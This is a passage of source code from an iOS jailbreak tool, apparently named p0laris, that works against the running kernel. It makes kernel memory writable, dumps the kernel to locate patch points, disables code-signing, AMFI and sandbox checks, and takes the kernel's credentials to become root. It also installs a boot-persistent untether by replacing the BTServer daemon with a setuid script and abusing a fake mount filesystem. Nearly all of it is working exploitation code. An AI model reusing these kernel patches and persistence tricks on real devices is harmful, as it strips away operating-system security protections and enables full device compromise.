#define L1_SECT_DEFCACHE	(L1_SECT_SORDER)
#define L1_PROTO_TTE(entry)	(entry | L1_SECT_S_BIT | L1_SECT_DEFPROT | L1_SECT_DEFCACHE)

uint32_t pmaps[TTB_SIZE];
int pmapscnt = 0;

void patch_kernel_pmap(void) {
	uint32_t kernel_pmap		= find_kernel_pmap();
	uint32_t kernel_pmap_store	= kread_uint32(kernel_pmap);
	uint32_t tte_virt			= kread_uint32(kernel_pmap_store);
	uint32_t tte_phys			= kread_uint32(kernel_pmap_store+4);
	
	lprintf("kernel pmap store @ 0x%08x",
			kernel_pmap_store);
	lprintf("kernel pmap tte is at VA 0x%08x PA 0x%08x",
			tte_virt,
			tte_phys);
	
	/*
	 *  every page is writable
	 */
	uint32_t i;
	for (i = 0; i < TTB_SIZE; i++) {
		uint32_t addr   = tte_virt + (i << 2);
		uint32_t entry  = kread_uint32(addr);
		if (entry == 0) continue;
		if ((entry & 0x3) == 1) {
			/*
			 *  if the 2 lsb are 1 that means there is a second level
			 *  pagetable that we need to give readwrite access to.
			 *  zero bytes 0-10 to get the pagetable address
			 */
			uint32_t second_level_page_addr = (entry & (~0x3ff)) - tte_phys + tte_virt;
			for (int i = 0; i < 256; i++) {
				/*
				 *  second level pagetable has 256 entries, we need to patch all
				 *  of them
				 */
				uint32_t sladdr  = second_level_page_addr+(i<<2);
				uint32_t slentry = kread_uint32(sladdr);
				
				if (slentry == 0)
					continue;
				
				/*
				 *  set the 9th bit to zero
				 */
				uint32_t new_entry = slentry & (~0x200);
				if (slentry != new_entry) {
					kwrite_uint32(sladdr, new_entry);
					pmaps[pmapscnt++] = sladdr;
				}
			}
			continue;
		}
		
		if ((entry & L1_SECT_PROTO) == 2) {
			uint32_t new_entry  =  L1_PROTO_TTE(entry);
			new_entry		   &= ~L1_SECT_APX;
			kwrite_uint32(addr, new_entry);
		}
	}
	
	lprintf("every page is actually writable");
	usleep(100000);
}

void pmap_unpatch(void) {
	while (pmapscnt > 0) {
		uint32_t sladdr  = pmaps[--pmapscnt];
		uint32_t slentry = kread_uint32(sladdr);
		
		/*
		 *  set the 9th bit to one
		 */
		uint32_t new_entry = slentry | (0x200);
		kwrite_uint32(sladdr, new_entry);
	}
}

/*
 *  END ADVANCED BORROWING FROM REALKJCMEMBER
 */

double get_time(void) {
	struct timeval current_time;
	gettimeofday(&current_time, NULL);
	
	return (double)current_time.tv_sec
	+ ((double)current_time.tv_usec / 1000000.0);
}

uint8_t* dump_kernel(uint8_t* kdata, uint32_t len) {
	vm_size_t segment = 0x800;
	
	/*
	 *  0x800 should be faster thx sig
	 */
	
	for (int i = 0; i < len / segment; i++) {
		/*
		 *  DUMP DUMP DUMP
		 */
		
		vm_read_overwrite(tfp0,
						  UNSLID_BASE + kaslr_slide + (i * segment),
						  segment,
						  (vm_address_t)kdata + (i * segment),
						  &segment);
	}
	
	return kdata;
}

extern struct offsets_t* offsets;
extern bool global_untethered;
uint32_t ourcred;
uint32_t myproc;

struct offsets_t* find_offsets(void) {
	/*
	 *  look ma i did a patchfinder
	 *  saves offsets to (docs_dir)/offsets.bin for future use, as the patchfinder
	 *  is kinda slow as balls
	 */
	
	struct offsets_t* offsets   = malloc(sizeof(struct offsets_t));
	uint32_t len				= 32 * 1024 * 1024;
	uint8_t* kdata				= NULL;
	char* open_this				= NULL;
	char* version_string		= (char*)[[[UIDevice currentDevice] systemVersion]
										  UTF8String];
	
	if (!global_untethered) {
		/*
		 *  if we are not running from the untether, check the application docs
		 *  directory for the offsets.bin file. if it exists, read it into the
		 *  offsets struct and return it, otherwise, find our offsets "manually"
		 *  using the patchfinder.
		 */
		
		NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
		NSString *documentsDirectory = [paths firstObject];
		char* doc_dir = (char*)[documentsDirectory UTF8String];
		asprintf(&open_this, "%s/offsets.bin", doc_dir);
		
		if (exists(open_this)) {
			/*
			 *  read from offsets.bin into the offsets struct and return it
			 */
			
			FILE* fp = fopen(open_this, "rb");
			fread(offsets, sizeof(struct offsets_t), 1, fp);
			fclose(fp);
			return offsets;
		}
	} else {
		/*
		 *  if we are running from the untether, read from
		 *  /untether/docs/untether.bin (if the file exists) to get offsets. 
		 *  /untether/docs is a symlink to the normal documents directory. this
		 *  is done because the documents directory appears to be different when
		 *  running untethered.
		 * 
		 *  (also because i originally tried /untether/offsets.bin until i 
		 *   realized we can't read from that path when not jailbroken, lol)
		 */
		
		char* offsets_bin = "/untether/docs/offsets.bin";
		
		if (exists(offsets_bin)) {
			/*
			 *  read from offsets.bin into the offsets struct and return it
			 */
			
			FILE* fp = fopen(offsets_bin, "rb");
			fread(offsets, sizeof(struct offsets_t), 1, fp);
			fclose(fp);
			return offsets;
		}
	}
	
	/*
	 *  dump kernel
	 */
	
	progress_ui("dumping kernel");
	kdata = malloc(len);
	
	dump_kernel(kdata, len);
	
	if (!kdata) {
		/*
		 *  fuck, failed to allocate kdata.
		 * 
		 *  free offsets if it exists, zfree also sets it to NULL. (fuck UAFs)
		 *  (except when i get to exploit them ;))
		 */
		if (offsets)
			zfree(&offsets);
		return NULL;
	}
	
	/*
	 *  make substrate patchfinding a bit faster
	 */
	uint32_t* one_and_two = NULL;
	
	progress_ui("patchfinding...");
	offsets->mount_common						= find_mount_common(kernel_base, kdata, len, version_string);
	offsets->lwvm1								= find_lwvm1(kernel_base, kdata, len, version_string);
	offsets->lwvm2								= find_lwvm2(kernel_base, kdata, len, version_string);
	offsets->lwvm_call							= find_lwvm_call(kernel_base, kdata, len, version_string);
	offsets->lwvm_call_offset					= find_lwvm_call_offset(kernel_base, kdata, len, version_string);
	offsets->sbops								= find_sbops(kernel_base, kdata, len, version_string);
	one_and_two									= find_substrate1_and_2(kernel_base, kdata, len, version_string);
	offsets->substrate1							= one_and_two[0];
	offsets->substrate2							= one_and_two[1];
	offsets->proc_enforce						= find_proc_enforce(kernel_base, kdata, len, version_string);
	offsets->cs_enforcement_disable_amfi		= find_cs_enforcement_disable_amfi(kernel_base, kdata, len, version_string);
	offsets->PE_i_can_has_debugger_1			= find_PE_i_can_has_debugger_1(kernel_base, kdata, len, version_string);
	offsets->PE_i_can_has_debugger_2			= find_PE_i_can_has_debugger_2(kernel_base, kdata, len, version_string);
	offsets->PE_i_can_has_debugger_offset		= find_PE_i_can_has_debugger_offset(kernel_base, kdata, len, version_string);
	offsets->vm_fault_enter_patch				= find_vm_fault_enter_patch(kernel_base, kdata, len, version_string);
	offsets->vm_map_enter_patch					= find_vm_map_enter_patch(kernel_base, kdata, len, version_string);
	offsets->csops								= find_csops(kernel_base, kdata, len, version_string);
	offsets->mapForIO							= find_mapForIO(kernel_base, kdata, len, version_string);
	offsets->sandbox_call_i_can_has_debugger	= find_sandbox_call_i_can_has_debugger(kernel_base, kdata, len, version_string);
	offsets->amfi_file_check_mmap				= find_amfi_file_check_mmap(kernel_base, kdata, len, version_string);
	offsets->allproc							= find_allproc(kernel_base, kdata, len, version_string);
	offsets->tfp0								= find_tfp0(kernel_base, kdata, len, version_string);
	progress_ui("patchfinded");
	
	/*
	 *  write our offsets to docs_dir/offsets.bin
	 */
	
	open_this = NULL;
	
	NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
														 NSUserDomainMask,
														 YES);
	NSString *documentsDirectory = [paths firstObject];
	char* doc_dir = (char*)[documentsDirectory UTF8String];
	asprintf(&open_this, "%s/offsets.bin", doc_dir);
	
	FILE* fp = fopen(open_this, "wb");
	fwrite(offsets,
		   sizeof(struct offsets_t),
		   1,
		   fp);
	fclose(fp);
	
	if (one_and_two)
		zfree(&one_and_two);
	
	if (kdata)
		zfree(&kdata);
	
	return offsets;
}

bool patch_kernel(void) {
	bool ret = true;
	
	/* 
	 *  here be dragons, this code is magic
	 */
	
	offsets = find_offsets();
	
	if (offsets == NULL)
		return false;
	
	/* 
	 *  mount stuff
	 */
	lprintf("patching mount_common: 0x%08x,0x%02x",
			kernel_base + offsets->mount_common, 0xe0);
	kwrite_uint8(kernel_base + offsets->mount_common, 0xe0);
	
	/* 
	 *  PE_i_can_has_debugger stuff
	 */
	lprintf("patching PE_i_can_has_debugger_offset: 0x%08x,0x%08x->0x%08x",
			kernel_base + offsets->PE_i_can_has_debugger_offset, kread_uint32(kernel_base + offsets->PE_i_can_has_debugger_offset), 0x20012001);
	kwrite_uint32(kernel_base + offsets->PE_i_can_has_debugger_offset,
				  0x20012001);
	
	/* 
	 *  note for tomorrow / today:
	 *  look into patching time related syscalls in the kernel
	 */
	
	/*
	 *  this AMFI patch is disabled as the offset was probably wrong or something
	 *  for some reason it would make video decoding cause a magical kernel panic
	 */
	
	/* 
	 *  substrate
	 */
	lprintf("patching substrate1: 0x%08x,0x%04x",
			kernel_base + offsets->substrate1,
			0xbf00);
	kwrite_uint8(kernel_base + offsets->substrate1,		0x00);
	kwrite_uint8(kernel_base + offsets->substrate1 + 1,	0xbf);
	
	/* 
	 *  substrate
	 */
	lprintf("patching substrate2: 0x%08x,0x%04x",
			kernel_base + offsets->substrate2,
			0xbf00);
	kwrite_uint8(kernel_base + offsets->substrate2,		0x00);
	kwrite_uint8(kernel_base + offsets->substrate2 + 1,	0xbf);
	
	/* 
	 *  proc_enforce -> 0
	 */
	lprintf("patching proc_enforce: 0x%08x,0x%08x",
			kernel_base + offsets->proc_enforce,
			0x0);
	kwrite_uint32(kernel_base + offsets->proc_enforce,0);
	
	/* 
	 *  cs_enforcement_disable_amfi
	 */
	lprintf("patching cs_enforcement_disable_amfi: 0x%08x,0x%04x",
			kernel_base + offsets->cs_enforcement_disable_amfi - 1,
			0x0101);
	kwrite_uint8(kernel_base + offsets->cs_enforcement_disable_amfi, 1);
	kwrite_uint8(kernel_base + offsets->cs_enforcement_disable_amfi - 1, 1);
	
	/* 
	 *  PE_i_can_has_debugger -> 1
	 */
	lprintf("patching PE_i_can_has_debugger_1: 0x%08x,0x%08x",
			kernel_base + offsets->PE_i_can_has_debugger_1,
			0x1);
	kwrite_uint32(kernel_base + offsets->PE_i_can_has_debugger_1, 1);

	lprintf("patching PE_i_can_has_debugger_2: 0x%08x,0x%08x",
			kernel_base + offsets->PE_i_can_has_debugger_2,
			0x1);
	kwrite_uint32(kernel_base + offsets->PE_i_can_has_debugger_2, 1);
	
	/* 
	 *  vm_fault_enter magic
	 */
	lprintf("patching vm_fault_enter_patch: 0x%08x,0x%04x",
			kernel_base + offsets->vm_fault_enter_patch,
			0x2201);
	kwrite_uint8(kernel_base + offsets->vm_fault_enter_patch, 0x01);
	kwrite_uint8(kernel_base + offsets->vm_fault_enter_patch + 1, 0x22);
	
	/*
	 *  vm_map_enter_patch
	 */
	lprintf("patching vm_map_enter_patch: 0x%08x,0x%08x",
			kernel_base + offsets->vm_map_enter_patch,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->vm_map_enter_patch, 0xbf00bf00);
	
	/*
	 * mapForIO magic
	 */
	lprintf("patching mapForIO: 0x%08x,0x%08x",
			kernel_base + offsets->mapForIO,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->mapForIO, 0xbf00bf00);
	
	/*
	 *  csops magic
	 */
	lprintf("patching csops: 0x%08x,0x%08x",
			kernel_base + offsets->csops,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->csops, 0xbf00bf00);
	
	/*
	 *  amfi_file_check_mmap magic
	 */
	lprintf("patching amfi_file_check_mmap: 0x%08x,0x%08x",
			kernel_base + offsets->amfi_file_check_mmap,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->amfi_file_check_mmap, 0xbf00bf00);
	
	/*
	 *  sandbox_call_i_can_has_debugger magic
	 */
	lprintf("patching sandbox_call_i_can_has_debugger: 0x%08x,0x%08x",
			kernel_base + offsets->sandbox_call_i_can_has_debugger,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->sandbox_call_i_can_has_debugger,0xbf00bf00);
	
	/*
	 *  lwvm
	 */
	lprintf("patching lwvm1: 0x%08x,0x%08x",
			kernel_base + offsets->lwvm1,
			0xf8d1e00f);
	kwrite_uint32(kernel_base + offsets->lwvm1, 0xf8d1e00f);

	lprintf("patching lwvm2: 0x%08x,0x%08x",
			kernel_base + offsets->lwvm2,
			0x2501e003);
	kwrite_uint32(kernel_base + offsets->lwvm2, 0x2501e003);

	lprintf("patching lwvm_call: 0x%08x,0x%08x",
			kernel_base + offsets->lwvm_call,
			kernel_base + offsets->lwvm_call_offset);
	kwrite_uint32(kernel_base + offsets->lwvm_call,
				  kernel_base + offsets->lwvm_call_offset);
	
	/*
	 *  tfp0
	 */
	lprintf("patching tfp0: 0x%08x,0x%08x->0x%08x",
			kernel_base + offsets->tfp0,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->tfp0, 0xbf00bf00);
	
	/*
	 *  fuck the sandbox
	 */
	lprintf("nuking sandbox @ 0x%08x", kernel_base + offsets->sbops);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_access), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_chroot), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_create), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_exec), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_link), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_open), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_readlink), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setflags), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setmode), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setowner), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_stat), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_truncate), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_unlink), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_notify_create), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_getattr), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_mount_check_stat), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_proc_check_fork), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_iokit_check_get_property), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_cred_label_update_execve), 0);
	
	/*
	 *  get kernel credentials so we can get our friend, uid=0.
	 */
	lprintf("stealing kernel creds");
	uint32_t allproc_read	= kread_uint32(kernel_base + offsets->allproc);
	lprintf("uint32_t allproc = 0x%08x, uint32_t allproc_read = 0x%08x;",
			kernel_base + offsets->allproc,
			allproc_read);
	pid_t our_pid		= getpid();
	lprintf("our_pid = %d", our_pid);
	
	myproc				= 0;
	uint32_t kernproc	= 0;
	
	/*
	 *  this code traverses a linked list in kernel memory to find the processes.
	 *  cleaned up
	 * 
	 *  struct proc {
	 * 	 LIST_ENTRY(proc) p_list;	// List of all processes.		//
	 * 
	 * 	 pid_t	   p_pid;		  // Process identifier. (static)	//
	 * 	 void *	  task;		   // corresponding task (static)		//
	 * 	 ...
	 *  };
	 * 
	 *  #define LIST_ENTRY(type)											\
	 *  struct {															\
	 * 	 struct type *le_next;		// next element						//  \
	 * 	 struct type **le_prev;		// address of previous next element //  \
	 *  }
	 * 
	 *  sizeof(uintptr_t) on 32-bit = 4
	 *  2 pointers = 2 * 4 = 8
	 *  offset of p_pid = 8
	 *  the next proc entry is the first pointer in the LIST_ENTRY struct, which is conveniently
	 *  the first element in the proc struct.
	 *  therefore, offset of the next proc entry is 0
	 * 
	 *  loop through the linked list by getting allproc
	 *  check the pid, and compare it to ours or the kernels
	 *  save it if it's either, otherwise continue
	 * 
	 *  eventually at the end we have the addresses of the kernel's proc struct and ours.
	 *  now we do writing magic to get kernel privs :P
	 */
	
	if (allproc_read != 0) {
		while (myproc == 0 || kernproc == 0) {
			uint32_t kpid = kread_uint32(allproc_read + 8);
			if (kpid == our_pid) {
				myproc = allproc_read;
				lprintf("found myproc 0x%08x, %d", myproc, kpid);
			} else if (kpid == 0) {
				kernproc = allproc_read;
				lprintf("found kernproc 0x%08x, %d", kernproc, kpid);
			}
			allproc_read = kread_uint32(allproc_read);
		}
	} else {
		/* fail */
		return false;
	}
	
	/*
	 *  TODO: don't hardcode 0xa4, ideally write patchfinder code for it
	 */
	
	uint32_t kern_ucred = kread_uint32(kernproc + 0xa4);
	lprintf("uint32_t kern_ucred = 0x%08x;", kern_ucred);
	
	ourcred = kread_uint32(myproc + 0xa4);
	lprintf("uint32_t ourcred = 0x%08x;", ourcred);

	/*
	 *  i am (g)root
	 */
	kwrite_uint32(myproc + 0xa4, kern_ucred);
	setuid(0);
	
	return ret;
}

void easy_spawn(char* bin, char* argv[]) {
	pid_t pid;
	int status;
	status = posix_spawn(&pid, bin, NULL, NULL, argv, environ);
	if (status == 0) {
		lprintf("Child pid: %i", pid);
		do {
			if (waitpid(pid, &status, 0) != -1) {
				lprintf("Child status %d", WEXITSTATUS(status));
			} else {
				perror("waitpid");
			}
		} while (!WIFEXITED(status) && !WIFSIGNALED(status));
	} else {
		lprintf("posix_spawn: %s", strerror(status));
	}
}

NSString* resource_path = NULL;
char* bundle_path(char* path) {
	char* ret = NULL;
	
	if (!resource_path)
		resource_path = [[NSBundle mainBundle] resourcePath];
	
	ret = (char*)[[resource_path stringByAppendingPathComponent:
				   [NSString stringWithUTF8String:path]] UTF8String];
	
	return ret;
}

#if INSTALL_UNTETHER
#if !INSTALL_NONPUBLIC_UNTETHER
bool install_untether(void) {
	bool ret = true;
	
	/*
	 *  if re-installing, remove the previous untether directory
	 */
	run_cmd("rm -rf /untether");
	
	/*
	 *  probably shouldn't be 777, will look into later
	 */
	mkdir("/untether", 0777);
	
	/*
	 *  get path of p0laris, and symlink it for the final 0wnage
	 */
	char* bin_path = bundle_path("p0laris");
	symlink(bin_path, "/untether/p0laris");
	
	/*
	 *  make /usr/local/bin
	 *  sandbox policy bypass allows you to use arbitrary interpreter binaries
	 *  IF you put them at specific locations.
	 *  you can not use a symlink, the actual binary must be at the location.
	 *  decompiled sandbox policies:
	 *    (deny process-exec-interpreter
	 *    (require-all
	 * 	(require-not (debug-mode))
	 * 	(require-all (require-not (literal "/bin/sh"))
	 * 	 (require-not (literal "/bin/bash"))
	 * 	 (require-not (literal "/usr/bin/perl"))
	 * 	 (require-not (literal "/usr/local/bin/scripter"))		<- i use this one
	 * 	 (require-not (literal "/usr/local/bin/luatrace"))
	 * 	 (require-not (literal "/usr/sbin/dtrace")))))
	 * 
	 *   source: https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html
	 */
	mkdir("/usr/local/", 0777);
	mkdir("/usr/local/bin/", 0777);
	
	/*
	 *  important:
	 *  DO NOT symlink, this will not work,
	 *  as the binary will still be located at its previous path.
	 * 
	 *  actually copy the full executable, permissions and all, to the new path.
	 */
	run_cmd("/bin/cp -p /sbin/mount /usr/local/bin/scripter");
	
	/*
	 *  now for the actual persistence bug.
	 *  this next bit is stolen from the untether gist, as i'm too lazy to rewrite it.
	 *
	 *  bug3:
	 *  platform-application bypass,
	 *  custom filesystem
	 *  directory structure:
	 *  /System/Library/Filesystems/hax.fs:
	 *  /System/Library/Filesystems/hax.fs/Contents:
	 *  /System/Library/Filesystems/hax.fs/Contents/Resources:
	 *  /System/Library/Filesystems/hax.fs/Contents/Resources/mount_hax -> symlink to your haxxx
	 *
	 *  cp -p /sbin/mount to /usr/local/bin/scripter (bypass some sandbox stuff)
	 *  replace a daemon with an executable containing this:
	 *  #!/usr/local/bin/scripter -t hax fake
	 *
	 *
	 *
	 *  the last argument is automatically filled in with the executable path,
	 *  so mount finds an existing path, and attempts to mount "fake" (taken as /fake as it runs in /)
	 *  on that path, with the filesystem hax, which executes our code.
	 *  replace a daemon like wifiFirmwareLoaderLegacy
	 *  either do the same SUID trick, for untethered, sandboxed code exec as mobile (tired)
	 *  or use psychicpaper and get untethered, unsandboxed code exec as root (wired)
	 *  boom, BFU code exec on 9.xish -> 12.xish
	 *
	 *  BACK TO MY COMMENTS
	 *  i find it a little more smexy to use a symlink and keep
	 *  code_exec_fs.fs in a folder along with the rest of the vuln stuff, so symlinks abound
	 */
	
	mkdir("/untether/code_exec_fs.fs",						 0755);
	mkdir("/untether/code_exec_fs.fs/Contents",			 0755);
	mkdir("/untether/code_exec_fs.fs/Contents/Resources",	0755);
	
	symlink("/untether/code_exec_fs.fs",	"/System/Library/Filesystems/code_exec_fs.fs");
	symlink("/untether/code_exec_fs.fs",	"/Library/Filesystems/code_exec_fs.fs");
	symlink("/untether/p0laris",			"/untether/code_exec_fs.fs/Contents/Resources/mount_code_exec_fs");
	
	/*
	 *  i forgot to add you actually need to have
	 *  some data after the shebang, otherwise it won't work.
	 */
	FILE* fp = fopen("/untether/get_code_exec", "w");
	fprintf(fp, "#!/usr/local/bin/scripter -t code_exec_fs untether\n\n\nkek");
	fclose(fp);
	
	/*
	 *  chmod'ing for security & being able to execute and shit
	 */
	chown("/untether/p0laris",													501, 501);
	chown("/untether/code_exec_fs.fs/Contents/Resources/mount_code_exec_fs",	501, 501);
	chown("/untether/get_code_exec",											501, 501);
	chmod("/untether/p0laris",													04755);
	chmod("/untether/code_exec_fs.fs/Contents/Resources/mount_code_exec_fs",	04755);
	chmod("/untether/get_code_exec",											04755);
	
	/*
	 *  don't remove original wifiFirmwareLoader in case we're re-installing,
	 *  only rename original if the path used for the "backup", so to speak
	 *  exists.
	 */
	if (!exists("/usr/sbin/BTServer_"))
		rename("/usr/sbin/BTServer",	"/usr/sbin/BTServer_");
	
	symlink("/untether/get_code_exec",				"/usr/sbin/BTServer");
	
	/*
	 *  more chmod'ing
	 */
	chown("/usr/sbin/BTServer",	501, 501);
	chown("/untether/get_code_exec",			501, 501);
	chown("/usr/local/bin/scripter",			501, 501);
	
	chmod("/usr/sbin/BTServer",	04755);
	chmod("/untether/get_code_exec",			04755);
	chmod("/usr/local/bin/scripter",			04755);
	
	/*
	 *  logging, also so the patchfinder can grab offsets from the filesystem,
	 *  instead of patchfinding every time, which is slow...
	 */
	NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
	NSString *documentsDirectory = [paths firstObject];
	char* doc_dir = (char*)[documentsDirectory UTF8String];
	
	symlink(doc_dir, "/untether/docs");
	
#if DO_CSBYPASS
	/*
	 *  logs
	 */
	lprintf("SPV vs CODESIGNING!\n");
	lprintf("FIGHT!\n");
	
	/*
	 * find csbypass in the app container
	 */
	char* csbypass = bundle_path("csbypass");
	
	/*
	 *  copy it to the untether folder & make it executable
	 */
	run_cmd("/bin/cp %s /untether/csbypass", csbypass);
	run_cmd("chmod 755 /untether/csbypass");
	
	/*
	 *  find game over in the app container
	 */
	char* game_over_armv7 = bundle_path("game_over_armv7.dylib1");
	
	/*
	 *  copy it to the untether folder & make it executable
	 */
	run_cmd("/bin/cp %s /untether/game_over_armv7.dylib1", game_over_armv7);
	run_cmd("chmod 755 /untether/game_over_armv7.dylib1");
	
	/*
	 *  get time
	 */
	time_t val = time(NULL);
	
	/*
	 *  write time for offsetting
	 */
	FILE* fp_ = fopen("/untether/offset", "wb");
	fwrite(&val, sizeof(val), 1, fp_);
	fclose(fp);
	
	/*
	 *  set time to zero
	 */
	lprintf("[*] __OFFSET *should* equal %ld", val);
	run_cmd("/bin/date -s @0");
	
	/*
	 *  nuke timed
	 */
	run_cmd("mv /System/Library/LaunchDaemons/com.apple.timed.plist /System/Library/LaunchDaemons/com.apple.timed.plist_");
	
	/*
	 *  0wn codesigning
	 */
	_0wn();
	
	/*
	 *  taunting...
	 */
	lprintf("[*] game over, codesigning. would you like to try again?");
#endif
	
	lprintf("[*] untether should be haxd on now");
	
	/*
	 *  sync, if we're already jailbroken
	 *  and the untether is now triggering,
	 *  we might panic to all hell and back
	 */
	sync();
	sync();
	sync();
	sync();
	sync();
	
	/* todo */
	
	return ret;
}
#else
#error This isn't enabled anymore, censored for public release: the mount bug was chosen. Nice job being curious, though! :)
#endif
#endif

bool extract_bootstrap(void) {
	bool re_extracting = false;
	bool ret = true;
	
	if (exists("/.p0laris") || exists("/.installed_home_depot")) {
		re_extracting = true;
		lprintf("k? guess we're re-extracting then. your choice, i guess? ...");
	}
	
	progress_ui("getting bundle paths");
	char* tar_path = bundle_path("tar");
	char* launchctl_path = bundle_path("launchctl");
	char* cydia_path = bundle_path("Cydia-9.0r4-Raw.tar");
	
	chmod(tar_path, 0777);
	
	/*
	 *  extract bootstrap
	 */
	progress_ui("extracting, this might take a while");
	chmod(tar_path, 0777);
	char* argv_[] = {tar_path, "-xf", cydia_path, "-C", "/", "--preserve-permissions", NULL};
	easy_spawn(tar_path, argv_);
	
	/*
	 *  touch cydia_no_stash (disable stashing, not included yet)
	 */
	progress_ui("disabling stashing");
	run_cmd("/bin/touch /.cydia_no_stash");
	
	/*
	 *  copy tar
	 */
	progress_ui("copying tar");
	run_cmd("/bin/cp -p %s /bin/tar", tar_path);
	
	/*
	 *  copy launchctl
	 */
	progress_ui("copying launchctl");
	run_cmd("/bin/cp -p %s /bin/launchctl", launchctl_path);
	
	/*
	 *  make them exectuable
	 */
	chmod("/bin/tar", 0755);
	chmod("/bin/launchctl", 0755);
	
	/*
	 *  i don't remember where this is from, Home Depot / Phoenix?
	 */
	chmod("/private", 0755);
	chmod("/private/var", 0755);
	chmod("/private/var/mobile", 0711);
	chmod("/private/var/mobile/Library", 0711);
	chmod("/private/var/mobile/Library/Preferences", 0755);
	
	mkdir("/Library/LaunchDaemons", 0777);
	
#if INSTALL_UNTETHER
	progress_ui("installing untether");
	install_untether();
	progress_ui("installed untether");
#endif
	
	if (!exists("/.p0laris")) {
		FILE* fp = fopen("/.p0laris", "w");
		fprintf(fp, "please don't delete this, the sky will fall and stuff or something\n"
				"  - p0laris, with love from spv.\n");
		fclose(fp);
	}
	
	sync();
	sync();
	sync();
	sync();
	sync();
	
	return ret;
}

#if DO_CSBYPASS
/*
 *  codesigning exploit is unfinished
 */
bool csbypass_wrapper(void) {
	bool ret = true;
	
	bool _0wnd = _0wn();
	lprintf("codesigning 0wnd: %s", _0wnd ? "true" : "false");
	
	sync();
	sync();
	sync();
	sync();
	sync();
	
#if 0
	uint32_t* comm_page_time = (uint32_t*)0xffff4048;
	while (*comm_page_time < 1000000000) {
		usleep(100000);
	}
	//	sleep(2);
#endif
	
	return ret;
}
#endif

bool post_jailbreak(void) {
	bool need_uicache = false;
	bool ret = true;
	
	if (global_untethered) {
		run_cmd("/usr/sbin/BTServer_");
#if DO_CSBYPASS
		csbypass_wrapper();
#endif
	}
	
	progress_ui("remounting /");
	char* nmr = strdup("/dev/disk0s1s1");
	int mntr = mount("hfs", "/", 0x10000, &nmr);
	lprintf("mount(...); = %d\n", mntr);
	
#if !FIRST_TIME_OVERRIDE
	if (!exists("/.p0laris") && !exists("/.installed_home_depot")) {
#endif
		progress_ui("extracting bootstrap");
		extract_bootstrap();
		need_uicache = true;
#if !FIRST_TIME_OVERRIDE
	}
#endif
	
#if INSTALL_UNTETHER
	if (!exists("/untether/p0laris")) {
		if (exists("/untether")) {
			progress_ui("fixing untether");
		} else {
			progress_ui("installing untether");
		}
		install_untether();
	}
#endif
	
	/*
	 *  doubleH3lix
	 */
	progress_ui("fixing springboard");
